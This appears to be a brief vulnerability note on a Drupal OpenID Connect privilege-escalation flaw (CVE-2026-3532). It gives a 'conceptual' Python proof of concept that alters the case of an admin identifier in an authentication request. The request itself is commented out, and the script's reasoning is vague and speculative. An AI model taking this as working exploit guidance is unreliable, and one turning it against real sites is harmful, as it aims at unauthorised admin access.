CVE-2026-3532 Drupal OpenID Connect权限提升漏洞

# Conceptual PoC for CVE-2026-3532 # This script demonstrates the logic of exploiting case sensitivity. # Actual exploit depends on specific IdP configuration. import requests target_url = "https://example-drupal-site.com" # Assume the legitimate admin username is 'admin' # Attacker crafts an authentication request with 'Admin' payload = { "client_id": "vulnerable_client_id", "response_type": "code", "scope": "openid email profile", "redirect_uri": "https://example-drupal-site.com/callback", # The malicious part: changing case of the identifier "login_hint": "[email protected]" } print(f"Sending crafted authentication request to {target_url}...") # response = requests.post(target_url + "/openid/connect/authenticate", data=payload) print("If vulnerable, the system may treat 'Admin' as a new user or elevate privileges.")